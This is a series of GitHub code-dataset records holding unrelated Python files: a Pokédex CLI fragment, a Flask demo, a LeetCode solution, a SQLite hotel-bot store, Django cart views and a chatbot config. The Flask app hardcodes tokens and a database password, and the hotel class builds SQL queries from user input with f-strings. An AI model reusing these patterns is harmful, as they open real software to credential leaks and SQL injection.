= data[data[\"Type 1\"].str.lower() == type.lower()]\n if not pokemon.empty:\n print(\"\\n\")\n for index, row in pokemon.iterrows():\n print(\"Name:\", row[\"Name\"])\n print(\"Type 1:\", row[\"Type 1\"])\n # may add more attributes to display here too like Type 2\n print(\"\\n\")\n else:\n print(\"No Pokémon Type found \" + type)\n except ValueError:\n print(\n \"Invalid type selection. Please enter a correct type('fire','bug','poison',etc.): .\"\n )\n","repo_name":"mariosnous/python_cli_pokedex","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35743709386","text":"from flask import Flask, send_from_directory, json, g, request\nfrom flask_restful import Api, Resource, reqparse\nfrom flask_cors import CORS\nfrom flask_httpauth import HTTPTokenAuth\nfrom api.HelloApiHandler import HelloApiHandler\nfrom flask_sqlalchemy import SQLAlchemy\nfrom .repository import Product\n\n\napp = Flask(__name__, static_url_path='', static_folder='../frontend/build')\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONs\"]=False\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"mysql+pymysql://demo:0000@127.0.0.1:3306/demo\"\nauth = HTTPTokenAuth(scheme=\"Bearer\")\ntokens = {\n 'token1':'john',\n 'tolken2':'susan'\n}\nCORS(app)\napi = Api(app)\nmysql = SQLAlchemy()\nmysql.init_app(app)\n@auth.verify_token\ndef verify_token(token):\n if token in tokens:\n return tokens[token]\n \n\n\n@app.route(\"/api/data\", defaults={'path':''}, methods={\"POST\"})\n@auth.login_required\ndef fetch_all(path):\n print(\"path %s\"%auth.current_user())\n return send_from_directory(app.static_folder,'index.html')\n\n@app.route(\"/test\", methods={\"GET\"})\ndef test_db():\n sql_cmd = \"\"\"SELECT * FROM TEST\"\"\"\n query_data = mysql.engine.execute(sql_cmd).fetchall()\n print(query_data)\n return \"ok\"\n\n@app.route(\"/api/login\", methods={\"POST\"})\ndef login():\n j = json.loads(request.data)\n print(j[\"username\"])\n return \"token1\"\n\n\n@app.route(\"/\", methods={\"GET\"})\ndef index():\n return send_from_directory(app.static_folder,'index.html')\n\n\n\n\napi.add_resource(HelloApiHandler, '/flask/hello')","repo_name":"gwrxuk/flask-demo","sub_path":"backend/app_orm_sql.py","file_name":"app_orm_sql.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4138910211","text":"#https://leetcode-cn.com/problems/house-robber/\r\n\r\n\"\"\"\r\n你是一个专业的小偷,计划偷窃沿街的房屋。\r\n每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,\r\n如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。\r\n给定一个代表每个房屋存放金额的非负整数数组,计算你在不触动警报装置的情况下,能够偷窃到的最高金额。\r\n\r\n示例 1:输入: [1,2,3,1];输出: 4\r\n解释: 偷窃 1 号房屋 (金额 = 1) ,然后偷窃 3 号房屋 (金额 = 3)。偷窃到的最高金额 = 1 + 3 = 4 。\r\n\r\n示例 2:输入: [2,7,9,3,1];输出: 12\r\n解释: 偷窃 1 号房屋 (金额 = 2), 偷窃 3 号房屋 (金额 = 9),接着偷窃 5 号房屋 (金额 = 1)。偷窃到的最高金额 = 2 + 9 + 1 = 12 。\r\n\"\"\"\r\n\r\nclass Solution:\r\n def rob(self, nums):\r\n if len(nums) == 0:\r\n return 0\r\n elif len(nums) == 1:\r\n return nums[0]\r\n elif len(nums) == 2:\r\n return max(nums[0],nums[1])\r\n elif len(nums) == 3:\r\n return max(nums[0]+nums[2],nums[1])\r\n else:\r\n i = 3\r\n dp = [nums[0]] + [nums[1]] + [max(nums[0]+nums[2],nums[1])] + [0]*(len(nums)-3)\r\n while i < len(nums):\r\n dp[i] = max(dp[i-3]+nums[i],dp[i-2]+nums[i],dp[i-1])\r\n i = i + 1\r\n return max(dp)\r\n\r\nif __name__ == \"__main__\":\r\n nums = [2,1,1,2]\r\n solution = Solution()\r\n result = solution.rob(nums)\r\n print(result)","repo_name":"alpharol/algorithm_python3","sub_path":"leetcode/0101-0200/0198.打家劫舍.py","file_name":"0198.打家劫舍.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"71353853231","text":"import sqlite3\n\nfrom bd_hotel.hotel_bd.handler_request import *\n\nBD = 'bd_hotel/hotel_bd/HotelBD.db'\n\n\nclass HotelBd:\n \"\"\"Хранилище БД и обратка БД\n\n Класс создает бд с таблицами\n CREATE TABLE CITY\n CREATE TABLE HOTEL\n CREATE TABLE USER\n\n\n CITY хранит в себе параметра ГОРОД destinationId caption\n\n HOTEL хранит в себе Город, Отель, destinationId, url_foto\n\n USER\n\n Для экономиии запросов была создана БД с основными характеристиками для API\n Если города нет в БД создает запрос на сайт для получение его данных, при следующих запросов сначала проверяет БД на\n город и выдается данные.\n\n Такаяже ситуация и с HOTEL. БД заполняется по запросам. графа url foto обновляется только после запроса пользвотеля\n получить фото нужного отеля.\n\n Такая манипуляция помогает мимилизировать кол-во запросов на сайт\n\n\n \"\"\"\n\n def __init__(self):\n self.data_city = None\n self.dict_data_hotel = None\n self._input_city = ''\n self.number_of_hotels = []\n self.bool_foto = False\n\n def checking_bd(self):\n \"\"\"Функция Создание БД таблиц\n Проверка если таблица или нет.\n Если таблица есть то функция отработает спокойно\n Если же таблица отсуствует то будет созданые нужные поля\n\n \"\"\"\n __check_table1 = \"\"\"SELECT * FROM CITY\"\"\"\n __check_table2 = \"\"\"SELECT * FROM HOTEL\"\"\"\n __check_table3 = \"\"\"SELECT * FROM USER\"\"\"\n\n def com_si():\n \"\"\"после проверки созадет таблицу\"\"\"\n command_siti = \"\"\"CREATE TABLE CITY (\n \"ID\"\tINTEGER PRIMARY KEY AUTOINCREMENT UNIQUE,\n \"Город\"\tTEXT NOT NULL,\n \"destinationId\"\tINTEGER NOT NULL,\n \"caption\"\tTEXT)\"\"\"\n return command_siti\n\n def com_ho():\n \"\"\"после проверки созадет таблицу\"\"\"\n command_hotel = \"\"\"CREATE TABLE HOTEL (\n \"ID\"\tINTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n \"Город\"\tTEXT NOT NULL,\n \"Отель\"\tTEXT NOT NULL,\n \"destinationId\"\tNUMERIC NOT NULL UNIQUE,\n \"url_foto\"\tTEXT\n )\"\"\"\n return command_hotel\n\n def com_us():\n \"\"\"после проверки созадет таблицу\"\"\"\n command_user = \"\"\"CREATE TABLE USER (\n \"ID\"\tINTEGER NOT NULL PRIMARY KEY AUTOINCREMENT UNIQUE,\n \"user\"\tTEXT,\n \"command\"\tTEXT,\n \"city\"\tTEXT,\n \"hotel\"\tTEXT,\n \"booking_date\"\tTEXT,\n \"date\"\tTEXT)\"\"\"\n return command_user\n\n if self.read_bd(__check_table1) is None:\n self.read_bd(com_si())\n print('Была создана Таблица CITY')\n if self.read_bd(__check_table2) is None:\n self.read_bd(com_ho())\n print('Была создана Таблица HOTEL')\n if self.read_bd(__check_table3) is None:\n self.read_bd(com_us())\n print('Была создана Таблица USER')\n\n def fillings_city(self, text_json):\n \"\"\"Функция заполнения таблицы Город\"\"\"\n __d = request_processing_city(text_json)\n self._fill_data_city(__d)\n\n def fillings_hotel(self, text_json):\n \"\"\"Функция заполнения таблицы Отель\"\"\"\n __d = request_processing_hotel(text_json)\n self._fill_data_hotel(__d)\n\n def _fill_data_city(self, data_dict):\n \"\"\"Запись данныхв таблицу City для хранения истории\"\"\"\n id_data = 0\n for i in data_dict:\n command = f\"\"\"SELECT * FROM CITY WHERE destinationId='{data_dict[i][1]}'\"\"\"\n if self.read_bd(command):\n pass\n else:\n command_max_id = \"\"\"SELECT MAX(ID) FROM City \"\"\"\n try:\n max_id = self.read_bd(command_max_id)\n id_data = max_id[0][0] + 1\n except TypeError:\n id_data = 1\n\n command_save = f\"\"\"INSERT INTO CITY VALUES ('{id_data}','{data_dict[i][0]}','{data_dict[i][1]}','{data_dict[i][2]}')\"\"\"\n self.read_bd(command_save, save=True)\n\n def _fill_data_hotel(self, data_dict):\n \"\"\"Запись данныхв таблицу HOTEL для хранения истори\"\"\"\n id_data = 0\n\n for i in data_dict:\n _hotel_none = None\n command = f\"\"\"SELECT * FROM HOTEL WHERE destinationId='{data_dict[i][2]}'\"\"\"\n if self.read_bd(command):\n pass\n else:\n command_max_id = \"\"\"SELECT MAX(ID) FROM HOTEL \"\"\"\n try:\n max_id = self.read_bd(command_max_id)\n id_data = max_id[0][0] + 1\n except TypeError:\n id_data = 1\n command_save = f\"\"\"INSERT INTO HOTEL VALUES ('{id_data}','{data_dict[i][0]}','{data_dict[i][1]}',\n '{data_dict[i][2]}','{'Еще не обновил url фотографий'}')\"\"\"\n self.read_bd(command_save, save=True)\n\n def _fill_data_user(self, data_dict):\n \"\"\"Запись данныхв таблицу USER для хранения истори\"\"\"\n id_data = 0\n for i in data_dict:\n command = f\"\"\"SELECT * FROM USER WHERE destinationId='{data_dict[i][1]}'\"\"\"\n if self.read_bd(command):\n pass\n else:\n command_max_id = \"\"\"SELECT MAX(ID) FROM USER \"\"\"\n try:\n max_id = self.read_bd(command_max_id)\n id_data = max_id[0][0] + 1\n except TypeError:\n id_data = 1\n\n command_save = f\"\"\"INSERT INTO USER VALUES ('{id_data}','{data_dict[i][0]}','{data_dict[i][1]}',\n '{data_dict[i][2]}, '{data_dict[i][3]}')\"\"\"\n self.read_bd(command_save, save=True)\n\n def read_bd(self, command, save=False):\n \"\"\"\n Получает команду на чтения команды\n save нужен для сохранения изменения\n \"\"\"\n\n try:\n sqlite_connection = sqlite3.connect(BD)\n cursor = sqlite_connection.cursor()\n cursor.execute(command)\n record = cursor.fetchall()\n _list = list(map(list, record))\n if save:\n sqlite_connection.commit()\n cursor.close()\n return _list\n except (sqlite3.Error, IndexError) as error:\n print(f\"Ошибка при подключении к {BD} - \", error)\n finally:\n if sqlite_connection:\n sqlite_connection.close()\n\n def checking_for_city(self, city):\n \"\"\"Проверка на город.\n Если есть возращает даные по городу\n Если нет, то пустоту\"\"\"\n command_city = f\"\"\"SELECT * FROM CITY WHERE Город = \"{city}\" \"\"\"\n __d = self.read_bd(command_city)\n if __d:\n return __d\n\n def request_city(self, input_city):\n \"\"\"Проводим запрос в БД если имеется данные возращает по нему\n Если же нет то делает запрос на сайт для получение актуальной информации\"\"\"\n # __data_city = None\n __data_city = self.checking_for_city(input_city)\n if not __data_city:\n try:\n __dc = request_url_city(input_city)\n self.fillings_city(__dc)\n __data_city = self.checking_for_city(input_city)\n except TypeError:\n pass\n\n self.data_city = __data_city\n return __data_city\n\n def request_hotel_data(self, dict_city, start_date, end_date, text, page=1):\n\n \"\"\"Пополняем базу данных отелев\n request_hotel_highprice : От самого дорого отеля к дешевому\n request_hotel_lowprice : От дешевого к дорогому\n request_hotel_bestdeal : Получаем данные самый близкий к центру города\n \"\"\"\n\n if text == '/highprice':\n\n json_file = get_hotel_text(dict_city[0][2], start_date, end_date, sortOrder='PRICE_HIGHEST_FIRST',\n pageNumber=page)\n elif text == '/bestdeal':\n json_file = get_hotel_text(dict_city[0][2], start_date, end_date, sortOrder=\"DISTANCE_FROM_LANDMARK\",\n pageNumber=page)\n else:\n json_file = get_hotel_text(dict_city[0][2], start_date, end_date, pageNumber=page)\n\n self.fillings_hotel(json_file)\n return request_processing_hotel(json_file)\n\n def request_hotel(self, nember_hotel, dict_data_hotel):\n \"\"\"Сбор данных по нужном�� кол-ву отелей\n nember_hotel кол-во выводимых отелей\n dict_data_hotel полный словарь отелей\n :return number_of_hotels Возращает list выброное кол-во отелей\n \"\"\"\n number_of_hotels = [dict_data_hotel[v] for v in range(nember_hotel)]\n return number_of_hotels\n\n def request_foto(self, number_of_hotels):\n \"\"\"Заполнение таблицы hotel поле url foto\n number_of_hotels = ['Уфа', 'Гостевые комнаты «Ардерия»', 768899648, '3,8 км', '$17']\n Если отель иммеет такое поле url_foto='Еще не обновил url фотографий'\n То обновляет его добовляе url фотографий с этого отеля\n\n \"\"\"\n for i in number_of_hotels:\n command_id_url = f\"\"\"SELECT * FROM HOTEL WHERE destinationId='{i[2]}' and url_foto='Еще не обновил url фотографий'\"\"\"\n if self.read_bd(command_id_url):\n _fid = request_foto_hotel(i[2])\n _listurl = request_foto_data(_fid)\n up = f\"\"\"UPDATE HOTEL SET url_foto = \"{_listurl}\" WHERE destinationId={i[2]}\"\"\"\n self.read_bd(up, save=True)\n\n def price_range(self, number_of_hotels):\n \"\"\"\n проверка на минимум максимум цен\n то количвосто отелей которе выбрал пользователь\n пример приходящий данных\n number_of_hotels = {0: ['Омск', ' «Ибис Сибирь-Омск»', 322603, '3,0 км', '$64']}\n\n :return:\n \"\"\"\n price = [int(v[4].replace('$', '')) for v in number_of_hotels.values()]\n return price\n\n def range_of_distance(self, number_of_hotels):\n \"\"\"\n проверка на минимум максимум растояний\n то количвосто отелей которе выбрал пользователь\n пример приходящий данных\n number_of_hotels = [['Уфа', 'Гостевые комнаты «Ардерия»', 768899648, '3,8 км', '$17']]\n\n :return:\n \"\"\"\n distance = [float(v[3].replace('км', '').replace(',', '.')) for v in number_of_hotels.values()]\n return distance\n\n def logging(self, message=None, date=None, command=None, city=None, hotel=None, booking_date=None):\n command_max_id = \"\"\"SELECT MAX(ID) FROM USER \"\"\"\n try:\n max_id = self.read_bd(command_max_id)\n id_data = max_id[0][0] + 1\n except TypeError:\n id_data = 1\n\n command_save = f\"\"\"INSERT INTO USER VALUES ('{id_data}',{message.from_user.id},'{command}','{city}', \n '{hotel}','{str(booking_date)}','{str(date)}')\"\"\"\n self.read_bd(command_save, save=True)\n\n def get_foto(self, number_of_hotels):\n \"\"\"Достаем из БД имеющие url фотографии, переобразуем текст в список. удаляем не нужные элементы\n и добоваляем в number_of_hotels список фотографий\n number_of_hotels ['Омск', ' «Ибис Сибирь-Омск»', 322603, '3,0 км', '$64']\n \"\"\"\n command_id = f\"\"\"SELECT * FROM HOTEL WHERE destinationId='{number_of_hotels[2]}'\"\"\"\n _foto_list = self.read_bd(command_id)[0][4].replace('[', '').replace(']', '').replace(',', '').split()\n number_of_hotels.append(_foto_list)\n return number_of_hotels\n\n def url_hotel(self, id_hotel):\n # url = f'https://ru.hotels.com/ho{id_hotel}/?q-check-in=2022-02-03&q-check-out=2022-02-04&q-rooms=1&q-room-0-adults=2&q-room-0-children=0&sort-order=BEST_SELLER&WOD=4&WOE=5&MGT=1&ZSX=0&SYE=3&YGF=1'\n url = f'https://ru.hotels.com/ho{id_hotel}'\n return url\n","repo_name":"maklai26rus/diplom_skillbox_bot","sub_path":"bd_hotel/hotel_bd/hotel_bd.py","file_name":"hotel_bd.py","file_ext":"py","file_size_in_byte":13845,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"1292056407","text":"from django.core.exceptions import ObjectDoesNotExist\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom datetime import datetime\n\nfrom .models import (\n ImportProduct,\n ImShoppingCartObject,\n ExportProduct,\n ExShoppingCartObject\n)\nfrom .serializer import (\n ImportProductsSerializer,\n ImShoppingCartObjSerializer,\n AddProdToImShoppingCartSerializer,\n CreateNewImportCartObjectSerializer,\n EditProductCountInImportCartSerializer,\n ExportProductsSerializer,\n ExShoppingCartObjSerializer,\n AddProdToExShoppingCartSerializer,\n CreateNewExportCartObjectSerializer,\n EditProductCountInExportCartSerializer,\n MakeImportSerializer,\n EachStoreProductProductSerializer\n)\nfrom products.models import (\n CommonCategory,\n CommonProduct,\n CompanyCategory,\n CompanyProduct,\n StoreProduct\n)\nfrom company_management.models import (\n Contragent\n)\n\n\n######################################################################################\n# --------------- IMPORT SHOPPING CART -------------------------------------------------------------\n######################################################################################\n\n# --------------- Get Current Import Shopping Cart ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_current_import_shopping_cart(request):\n user = request.user\n\n if request.method == \"GET\":\n data = {}\n try:\n im_shopping_cart_obj = ImShoppingCartObject.objects.get(account=user, status=\"current\")\n import_products = ImportProduct.objects.filter(im_shopping_car_obj=im_shopping_cart_obj)\n shopping_cart_ser = ImShoppingCartObjSerializer(im_shopping_cart_obj)\n im_prods_ser = ImportProductsSerializer(import_products, many=True)\n data = {\"shopping_cart_obj\": shopping_cart_ser.data, \"import_products\": im_prods_ser.data}\n except ObjectDoesNotExist:\n data[\"message\"] = \"empty\"\n data[\"desc\"] = \"import cart is empty\"\n\n return Response(data)\n\n\n# --------------- Get Current Import Object ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_current_import_object(request):\n user = request.user\n\n if request.method == \"GET\":\n data = {}\n try:\n import_object = ImShoppingCartObject.objects.get(account=user, status=\"current\")\n if import_object is not None:\n data[\"import_object\"] = \"exist\"\n except ObjectDoesNotExist:\n data[\"import_object\"] = \"none\"\n\n return Response(data=data)\n\n\n# --------------- Create New Import Cart Object ---------------\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef create_new_import_cart_object(request):\n user = request.user\n\n if request.method == \"POST\":\n data = {}\n ser = CreateNewImportCartObjectSerializer(data=request.data)\n if ser.is_valid():\n try:\n import_object = ImShoppingCartObject.objects.get(account=user, status=\"current\")\n if import_object is not None:\n data[\"import_object\"] = \"exist\"\n data[\"desc\"] = \"object already exist\"\n except ObjectDoesNotExist:\n new_import_obj = ImShoppingCartObject()\n new_import_obj.account = user\n new_import_obj.status = \"current\"\n new_import_obj.save()\n\n data[\"import_object\"] = \"created\"\n data[\"desc\"] = \"created new current import object\"\n\n return Response(data=data)\n\n\n# --------------- Get Exact Cat Prods ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_exact_category_products(request, cat_id):\n if request.method == \"GET\":\n data = {}\n account = request.user\n try:\n common_cat = CommonCategory.objects.get(category_id=cat_id)\n company_cat = CompanyCategory.objects.get(category_index_id=common_cat.category_index_id)\n store_prods = StoreProduct.objects.filter(categor=company_cat)\n\n ser = EachStoreProductProductSerializer(store_prods, many=True)\n data=ser.data\n except ObjectDoesNotExist:\n data[\"message\"] = \"not found\"\n data[\"desc\"] = \"category not found\"\n\n return Response(data=data)\n \n\n\n\n# --------------- Add Product to Import Cart ---------------\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef add_product_to_import_cart(request):\n user = request.user\n product = StoreProduct.objects.get(product_id=request.data[\"import_product\"])\n # import_cart_object = ImShoppingCartObject(im_shopping_cart_id=request.data[\"im_shopping_car_obj\"])\n import_cart_object = ImShoppingCartObject.objects.get(account=user, status=\"current\")\n\n print(\"/// import_cart_object\" + str(import_cart_object))\n if request.method == \"POST\":\n data = {}\n \n import_prods = ImportProduct.objects.filter(im_shopping_car_obj=import_cart_object)\n for prod in import_prods:\n if prod.import_product.product_id == request.data[\"import_product\"]:\n #################### This code be useful in future\n # amount_in_cart = 2 * prod.prod_amount_in_cart\n # prod.prod_amount_in_cart = prod.prod_amount_in_cart + request.data[\"prod_amount_in_cart\"]\n # prod_ser = AddProdToImShoppingCartSerializer(prod, data=request.data)\n #\n # if prod_ser.is_valid():\n # prod_ser.save()\n\n data[\"message\"] = \"exist\"\n data[\"desc\"] = \"this import_product is already exist in import cart\"\n return Response(data=data)\n\n import_prod = ImportProduct()\n import_prod.import_product = product\n import_prod.im_shopping_car_obj = import_cart_object\n import_prod.account = user\n import_prod.date = datetime.date(datetime.now())\n\n ser = AddProdToImShoppingCartSerializer(import_prod, data=request.data)\n\n if ser.is_valid():\n ser.save()\n data[\"message\"] = \"added\"\n data[\"desc\"] = \"import_product added to the cart\"\n\n return Response(data=data)\n\n\n# --------------- Edit Product Count in Import Cart ---------------\n@api_view([\"PUT\"])\n@permission_classes((IsAuthenticated,))\ndef edit_product_count_in_import_cart(request):\n import_product = ImportProduct.objects.get(im_prod_id=request.data[\"im_prod_id\"])\n\n if request.method == \"PUT\":\n data = {}\n import_product.prod_amount_in_cart = request.data[\"prod_amount_in_cart\"]\n ser = EditProductCountInImportCartSerializer(import_product, data=request.data)\n\n if ser.is_valid():\n print(\"/// entire the ser\")\n\n ser.save()\n data[\"message\"] = \"edited\"\n data[\"desc\"] = \"import_product's amount count edited\"\n\n return Response(data=data)\n\n\n# --------------- Delete Product Count in Import Cart ---------------\n@api_view([\"DELETE\"])\n@permission_classes((IsAuthenticated,))\ndef delete_product_count_in_import_cart(request):\n import_product = ImportProduct.objects.get(im_prod_id=request.data[\"im_prod_id\"])\n\n if request.method == \"DELETE\":\n data = {}\n operation = import_product.delete()\n\n if operation:\n data[\"message\"] = \"deleted\"\n data[\"desc\"] = \"selected import_product deleted\"\n else:\n data[\"message\"] = \"failed\"\n data[\"desc\"] = \"failed deleting selected import_product\"\n return Response(data=data)\n\n\n# --------------- Make Import History (Buy Products) ---------------\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef make_import_history(request):\n user = request.user\n contragent = Contragent.objects.get(contragent_id=request.data[\"import_contragent\"])\n if request.method == \"POST\":\n data = {}\n try:\n current_import = ImShoppingCartObject.objects.get(account=user, status=\"current\")\n current_import.import_contragent = contragent\n current_import.status = \"history\"\n current_import.date = datetime.date(datetime.now())\n ser = MakeImportSerializer(current_import, data=request.data)\n\n if ser.is_valid():\n ser.save()\n data[\"message\"] = \"success\"\n data[\"desc\"] = \"successfully changed import object from current to history\"\n\n except ObjectDoesNotExist:\n data[\"message\"] = \"failure\"\n data[\"desc\"] = \"import object with status=current not found\"\n\n return Response(data=data)\n\n\n# --------------- Get Import History ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_import_history(request):\n user = request.user\n\n if request.method == \"GET\":\n import_history_objects = ImShoppingCartObject.objects.filter(account=user, status=\"history\")\n ser = ImShoppingCartObjSerializer(import_history_objects, many=True)\n return Response(ser.data)\n\n# --------------- Get Import History Item ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_import_history_item(request, import_id):\n user = request.user\n\n if request.method == \"GET\":\n import_history_objects = ImShoppingCartObject.objects.get(im_shopping_cart_id=import_id)\n import_products = ImportProduct.objects.filter(im_shopping_car_obj=import_history_objects)\n shopping_cart_ser = ImShoppingCartObjSerializer(import_history_objects)\n im_prods_ser = ImportProductsSerializer(import_products, many=True)\n data = {\"shopping_cart_obj\": shopping_cart_ser.data, \"import_products\": im_prods_ser.data}\n return Response(data)\n\n######################################################################################\n# --------------- EXPORT SHOPPING CART -------------------------------------------------------------\n######################################################################################\n\n# --------------- Get Current Export Shopping Cart ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_current_export_shopping_cart(request):\n user = request.user\n\n if request.method == \"GET\":\n data = {}\n try:\n ex_shopping_cart_obj = ExShoppingCartObject.objects.get(account=user, status=\"current\")\n export_products = ExportProduct.objects.filter(ex_shopping_car_obj=ex_shopping_cart_obj)\n shopping_cart_ser = ExShoppingCartObjSerializer(ex_shopping_cart_obj)\n ex_prods_ser = ExportProductsSerializer(export_products, many=True)\n data = {\"shopping_cart_obj\": shopping_cart_ser.data, \"export_products\": ex_prods_ser.data}\n\n except ObjectDoesNotExist:\n data[\"message\"] = \"empty\"\n data[\"desc\"] = \"export cart is empty\"\n\n return Response(data)\n\n\n# --------------- Get Current Export Object ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_current_export_object(request):\n user = request.user\n\n if request.method == \"GET\":\n data = {}\n try:\n export_object = ExShoppingCartObject.objects.get(account=user, status=\"current\")\n if export_object is not None:\n data[\"export_object\"] = \"exist\"\n except ObjectDoesNotExist:\n data[\"export_object\"] = \"none\"\n\n return Response(data=data)\n\n\n# --------------- Create New Export Cart Object ---------------\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef create_new_export_cart_object(request):\n user = request.user\n\n if request.method == \"POST\":\n data = {}\n ser = CreateNewExportCartObjectSerializer(data=request.data)\n if ser.is_valid():\n try:\n export_object = ExShoppingCartObject.objects.get(account=user, status=\"current\")\n if export_object is not None:\n data[\"export_object\"] = \"exist\"\n data[\"desc\"] = \"object already exist\"\n except ObjectDoesNotExist:\n new_export_obj = ExShoppingCartObject()\n new_export_obj.account = user\n new_export_obj.status = \"current\"\n new_export_obj.save()\n\n data[\"import_object\"] = \"created\"\n data[\"desc\"] = \"created new current import object\"\n\n return Response(data=data)\n\n# --------------- Add Product to Export Cart ---------------\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef add_product_to_export_cart(request):\n user = request.user\n product = StoreProduct.objects.get(product_id=request.data[\"export_product\"])\n # export_cart_object = ExShoppingCartObject(ex_shopping_cart_id=request.data[\"ex_shopping_car_obj\"])\n export_cart_object = ExShoppingCartObject.objects.get(account=user, status=\"current\")\n if request.method == \"POST\":\n data = {}\n\n export_prods = ExportProduct.objects.filter(ex_shopping_car_obj=export_cart_object)\n for prod in export_prods:\n if prod.export_product.product_id == request.data[\"export_product\"]:\n data[\"message\"] = \"exist\"\n data[\"desc\"] = \"this export_product is already exist in export cart\"\n return Response(data=data)\n\n export_prod = ExportProduct()\n export_prod.export_product = product\n export_prod.ex_shopping_car_obj = export_cart_object\n export_prod.account = user\n export_prod.date = datetime.date(datetime.now())\n\n ser = AddProdToExShoppingCartSerializer(export_prod, data=request.data)\n\n if ser.is_valid():\n ser.save()\n data[\"message\"] = \"added\"\n data[\"desc\"] = \"import_product added to the cart\"\n\n return Response(data=data)\n\n\n# --------------- Edit Product Count in Export Cart ---------------\n@api_view([\"PUT\"])\n@permission_classes((IsAuthenticated,))\ndef edit_product_count_in_export_cart(request):\n export_product = ExportProduct.objects.get(ex_prod_id=request.data[\"ex_prod_id\"])\n\n if request.method == \"PUT\":\n data = {}\n export_product.prod_amount_in_cart = request.data[\"prod_amount_in_cart\"]\n ser = EditProductCountInExportCartSerializer(export_product, data=request.data)\n\n if ser.is_valid():\n ser.save()\n data[\"message\"] = \"edited\"\n data[\"desc\"] = \"export_product's amount count edited\"\n\n return Response(data=data)\n\n\n# --------------- Delete Product Count in Import Cart ---------------\n@api_view([\"DELETE\"])\n@permission_classes((IsAuthenticated,))\ndef delete_product_count_in_export_cart(request):\n export_product = ExportProduct.objects.get(ex_prod_id=request.data[\"ex_prod_id\"])\n\n if request.method == \"DELETE\":\n data = {}\n operation = export_product.delete()\n\n if operation:\n data[\"message\"] = \"deleted\"\n data[\"desc\"] = \"selected import_product deleted\"\n else:\n data[\"message\"] = \"failed\"\n data[\"desc\"] = \"failed deleting selected export_product\"\n return Response(data=data)\n\n\n# --------------- Make Export History (Sell Products) ---------------\n@api_view([\"POST\"])\n@permission_classes((IsAuthenticated,))\ndef make_export_history(request):\n user = request.user\n contragent = Contragent.objects.get(contragent_id=request.data[\"export_contragent\"])\n if request.method == \"POST\":\n data = {}\n try:\n current_export = ExShoppingCartObject.objects.get(account=user, status=\"current\")\n current_export.export_contragent = contragent\n current_export.status = \"history\"\n current_export.date = datetime.date(datetime.now())\n ser = MakeImportSerializer(current_export, data=request.data)\n\n if ser.is_valid():\n ser.save()\n data[\"message\"] = \"success\"\n data[\"desc\"] = \"successfully changed import object from current to history\"\n\n except ObjectDoesNotExist:\n data[\"message\"] = \"failure\"\n data[\"desc\"] = \"import object with status=current not found\"\n\n return Response(data=data)\n\n# --------------- Get Export History ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_export_history(request):\n user = request.user\n\n if request.method == \"GET\":\n export_history_objects = ExShoppingCartObject.objects.filter(account=user, status=\"history\")\n ser = ExShoppingCartObjSerializer(export_history_objects, many=True)\n return Response(ser.data)\n\n# --------------- Get Export History Item ---------------\n@api_view([\"GET\"])\n@permission_classes((IsAuthenticated,))\ndef get_export_history_item(request, export_id):\n user = request.user\n\n if request.method == \"GET\":\n export_history_objects = ExShoppingCartObject.objects.get(ex_shopping_cart_id=export_id)\n export_products = ExportProduct.objects.filter(ex_shopping_car_obj=export_history_objects)\n shopping_cart_ser = ExShoppingCartObjSerializer(export_history_objects)\n im_prods_ser = ExportProductsSerializer(export_products, many=True)\n data = {\"shopping_cart_obj\": shopping_cart_ser.data, \"export_products\": im_prods_ser.data}\n return Response(data)","repo_name":"ilyas-shomat/A-Basqar-Api","sub_path":"a_basqar/export_import_products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"26315213816","text":"import os\n\nsep = os.path.abspath(os.sep)\ndir = os.getcwd()\n\nBOT_NAME = \"Robô de atendimento para distribuidora de peças de moto\"\nSETTINGS_FILE_PATHS = [\n f\"{dir}{sep}chatbot{sep}data{sep}greetings.json\",\n]\nACCEPTANCE = 0.7\nMINIMAL_CONFIDENCE = 0.6\nSERVER_VERSION = \"0.1\"\nFALLBACK_RESPONSE = \"Não consigo responder essa pergunta.\\nPergunte outra coisa\"\n","repo_name":"ElyasSantana/sayle","sub_path":"chatbot/config/bot_config.py","file_name":"bot_config.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28080601546","text":"\"\"\"Some text basic exploration functions\"\"\"\nimport pandas as pd\nimport numpy as np\nfrom collections import Counter\nfrom nltk import ngrams\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\nfrom IPython.display import Markdown, display\n\n\ndef 